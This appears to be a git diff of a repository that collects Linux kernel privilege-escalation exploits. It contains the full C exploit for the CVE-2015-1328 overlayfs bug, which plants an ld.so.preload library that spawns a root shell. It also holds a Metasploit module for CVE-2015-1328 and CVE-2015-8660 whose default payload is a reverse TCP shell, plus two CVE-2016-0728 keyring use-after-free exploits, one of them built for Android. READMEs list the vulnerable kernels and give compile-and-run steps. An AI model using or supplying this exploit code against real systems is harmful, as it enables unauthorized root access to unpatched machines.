#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}

293
2015/CVE-2015-1328/40688.rb Normal file
View File

@ -0,0 +1,293 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Overlayfs Privilege Escalation',
'Description' => %q{
This module attempts to exploit two different CVEs related to overlayfs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8 (vulnerable, un-tested)
Red Hat:
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Jun 16 2015',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'CVE-2015-1328', { } ],
[ 'CVE-2015-8660', { } ]
],
'DefaultTarget' => 1,
'DefaultOptions' =>
{
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
},
'References' =>
[
[ 'EDB', '39166'], # CVE-2015-8660
[ 'EDB', '37292'], # CVE-2015-1328
[ 'CVE', '2015-1328'],
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def mounts_exist?()
vprint_status('Checking if mount points exist')
if target.name == 'CVE-2015-1328'
if not directory?('/tmp/ns_sploit')
vprint_good('/tmp/ns_sploit not created')
return true
else
print_error('/tmp/ns_sploit directory exists. Please delete.')
return false
end
elsif target.name == 'CVE-2015-8660'
if not directory?('/tmp/haxhax')
vprint_good('/tmp/haxhax not created')
return true
else
print_error('/tmp/haxhax directory exists. Please delete.')
return false
end
end
end
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
case os_id
when 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.13.0'
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.16.0'
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.19.0'
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '4.2.0'
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
when 'ID=fedora'
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel.release < Gem::Version.new('4.2.8')
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
return true
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if mounts_exist?() && kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname, fcontent, cleanup=true)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
if cleanup
register_file_for_cleanup(fname)
end
end
def on_new_session(session)
super
if target.name == 'CVE-2015-1328'
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session.shell_command('rm -f /etc/ld.so.preload')
session.shell_command('rm -f /tmp/ofs-lib.so')
end
end
if compile
begin
if target.name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
# pulled out from 1328.c's LIB define
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
end
end
if compile
if target.name == 'CVE-2015-1328'
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
upload_and_chmod("#{ofs_path}.c", ofs_lib)
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
register_file_for_cleanup("#{ofs_path}.c")
else
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
"os.execl('#{payload_path}','#{payloadname}')")
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
end
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
register_file_for_cleanup(executable_path)
else
if target.name == 'CVE-2015-1328'
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_1328)
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_8660)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod(payload_path, generate_payload_exe)
vprint_status('Exploiting...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end

View File

@ -0,0 +1,30 @@
# CVE-2015-1328
CVE-2015-1328
Vulnerability reference:
* [CVE-2015-1328](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1328)
* [exp-db](https://www.exploit-db.com/exploits/37292/)
## Kernels
```
3.13, 3.16.0, 3.19.0
```
## Usage
```
$ gcc ofs.c -o ofs
$ ./ofs
```
### This binary has been verified on:
- Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic #31-Ubuntu x86_64
- Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_64
- Ubuntu 14.04 - Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu x86_64
- Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_32
- Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic #31-Ubuntu x86_32

BIN
2015/CVE-2015-1328/ofs_32 Normal file

Binary file not shown.

BIN
2015/CVE-2015-1328/ofs_64 Normal file

Binary file not shown.

View File

@ -0,0 +1,26 @@
# CVE-2016-0728
CVE-2016-0728
Vulnerability reference:
* [CVE-2016-0728](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-0728)
## Kernels
```
3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
```
## Usage
```
$ gcc cve-2016-0728.c -o cve-2016-0728 -lkeyutils -Wall
$ ./cve-2016-0728
```
## References
* [ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)](http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/)
* [Linux内核漏洞CVE-2016-0728的分析与利用](http://bobao.360.cn/learning/detail/2576.html)

View File

@ -0,0 +1,170 @@
/*
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
*/
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
/* EDB-Note: More information ~ http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}

View File

@ -0,0 +1,20 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := rootz.c
LOCAL_MODULE := rootz
LOCAL_MODULE_TAGS := optional
LOCAL_LDFLAGS := -Wl,--hash-style=sysv
LOCAL_STATIC_LIBRARIES := libc
LOCAL_FORCE_STATIC_EXECUTABLE := true
include $(BUILD_STATIC_EXECUTABLE)
include $(BUILD_EXECUTABLE)
include $(call all-makefiles-under,$(LOCAL_PATH))

View File

@ -0,0 +1,88 @@
/* keyutils.h: key utility library interface
*
* Copyright (C) 2005,2011 Red Hat, Inc. All Rights Reserved.
* Written by David Howells (dhowells@redhat.com)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#include <sys/types.h>
#include <stdint.h>
/* key serial number */
typedef int32_t key_serial_t;
/* special process keyring shortcut IDs */
#define KEY_SPEC_THREAD_KEYRING -1 /* - key ID for thread-specific keyring */
#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEY_SPEC_SESSION_KEYRING -3 /* - key ID for session-specific keyring */
#define KEY_SPEC_USER_KEYRING -4 /* - key ID for UID-specific keyring */
#define KEY_SPEC_USER_SESSION_KEYRING -5 /* - key ID for UID-session keyring */
#define KEY_SPEC_GROUP_KEYRING -6 /* - key ID for GID-specific keyring */
#define KEY_SPEC_REQKEY_AUTH_KEY -7 /* - key ID for assumed request_key auth key */
/* request-key default keyrings */
#define KEY_REQKEY_DEFL_NO_CHANGE -1
#define KEY_REQKEY_DEFL_DEFAULT 0
#define KEY_REQKEY_DEFL_THREAD_KEYRING 1
#define KEY_REQKEY_DEFL_PROCESS_KEYRING 2
#define KEY_REQKEY_DEFL_SESSION_KEYRING 3
#define KEY_REQKEY_DEFL_USER_KEYRING 4
#define KEY_REQKEY_DEFL_USER_SESSION_KEYRING 5
#define KEY_REQKEY_DEFL_GROUP_KEYRING 6
/* key handle permissions mask */
typedef uint32_t key_perm_t;
#define KEY_POS_VIEW 0x01000000 /* possessor can view a key's attributes */
#define KEY_POS_READ 0x02000000 /* possessor can read key payload / view keyring */
#define KEY_POS_WRITE 0x04000000 /* possessor can update key payload / add link to keyring */
#define KEY_POS_SEARCH 0x08000000 /* possessor can find a key in search / search a keyring */
#define KEY_POS_LINK 0x10000000 /* possessor can create a link to a key/keyring */
#define KEY_POS_SETATTR 0x20000000 /* possessor can set key attributes */
#define KEY_POS_ALL 0x3f000000
#define KEY_USR_VIEW 0x00010000 /* user permissions... */
#define KEY_USR_READ 0x00020000
#define KEY_USR_WRITE 0x00040000
#define KEY_USR_SEARCH 0x00080000
#define KEY_USR_LINK 0x00100000
#define KEY_USR_SETATTR 0x00200000
#define KEY_USR_ALL 0x003f0000
#define KEY_GRP_VIEW 0x00000100 /* group permissions... */
#define KEY_GRP_READ 0x00000200
#define KEY_GRP_WRITE 0x00000400
#define KEY_GRP_SEARCH 0x00000800
#define KEY_GRP_LINK 0x00001000
#define KEY_GRP_SETATTR 0x00002000
#define KEY_GRP_ALL 0x00003f00
#define KEY_OTH_VIEW 0x00000001 /* third party permissions... */
#define KEY_OTH_READ 0x00000002
#define KEY_OTH_WRITE 0x00000004
#define KEY_OTH_SEARCH 0x00000008
#define KEY_OTH_LINK 0x00000010
#define KEY_OTH_SETATTR 0x00000020
#define KEY_OTH_ALL 0x0000003f
/* keyctl commands */
#define KEYCTL_GET_KEYRING_ID 0 /* ask for a keyring's ID */
#define KEYCTL_JOIN_SESSION_KEYRING 1 /* join or start named session keyring */
#define KEYCTL_UPDATE 2 /* update a key */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_CHOWN 4 /* set ownership of a key */
#define KEYCTL_SETPERM 5 /* set perms on a key */
#define KEYCTL_DESCRIBE 6 /* describe a key */
#define KEYCTL_CLEAR 7 /* clear contents of a keyring */
#define KEYCTL_LINK 8 /* link a key into a keyring */
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
#define KEYCTL_SEARCH 10 /* search for a key in a keyring */
#define KEYCTL_READ 11 /* read a key or keyring's contents */
#define KEYCTL_INSTANTIATE 12 /* instantiate a partially constructed key */
#define KEYCTL_NEGATE 13 /* negate a partially constructed key */
#define KEYCTL_SET_REQKEY_KEYRING 14 /* set default request-key keyring */
#define KEYCTL_SET_TIMEOUT 15 /* set timeout on a key */
#define KEYCTL_ASSUME_AUTHORITY 16 /* assume authority to instantiate key */
#define KEYCTL_GET_SECURITY 17 /* get key security label */
#define KEYCTL_SESSION_TO_PARENT 18 /* set my session keyring on my parent process */
#define KEYCTL_REJECT 19 /* reject a partially constructed key */
#define KEYCTL_INSTANTIATE_IOV 20 /* instantiate a partially constructed key */
#define KEYCTL_INVALIDATE 21 /* invalidate a key */
#define KEYCTL_GET_PERSISTENT 22 /* get a user's persistent keyring */

View File

@ -0,0 +1,173 @@
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include "keyutils.h"
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
void *
get_symbol(char *name)
{
FILE *f = fopen("/proc/kallsyms", "r");
char c, sym[512];
void *addr;
while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
if (!strcmp(sym, name))
return addr;
}
return NULL;
}
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if(syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (syscall(301, msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (syscall(311, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/system/bin/sh", "/system/bin/sh", NULL);
return 0;
}

View File

@ -0,0 +1,42 @@
# CVE-2016-5195
```
Dirty COW
Hello
To add a new FAQ entry please send a PR for index.html.
If you wish to learn more, or share what you currently know of the vulnerability head on to the wiki (open to everyone): https://github.com/dirtycow/dirtycow.github.io/wiki
If you already know all you need to know, participate in the [challenges](https://github.com/dirtycow/dirtycow.github.io/projects) and win fame, glory and a t-shirt.
All code, images and documentation in this page and the website is in the public domain ([CC0](https://creativecommons.org/publicdomain/zero/1.0/)).
```
Vulnerability reference:
* [CVE-2016-5195](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-5195)
* [Table of PoCs](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)
## Kernels
```
Linux kernel>2.6.22 (released in 2007)
```
## Usage
- [Explaining Dirty COW local root exploit - CVE-2016-5195](https://www.youtube.com/watch?v=kEsshExn7aE)
```
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
```
## References
* [dirtycow](https://github.com/dirtycow/dirtycow.github.io)
* [CVE-2016-5195 Dirtycow: Linux内核提权漏洞分析](http://bobao.360.cn/learning/detail/3132.html)
* [CVE-2016-5195 脏牛漏洞Linux内核通杀提权漏洞](http://m.bobao.360.cn/learning/detail/3123.html)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,113 @@
<!DOCTYPE html>
<html lang="en">
<head>
<base target="_blank">
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="icon" href="favicon.ico" type="image/x-icon" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel.">
<title>Dirty COW (CVE-2016-5195)</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
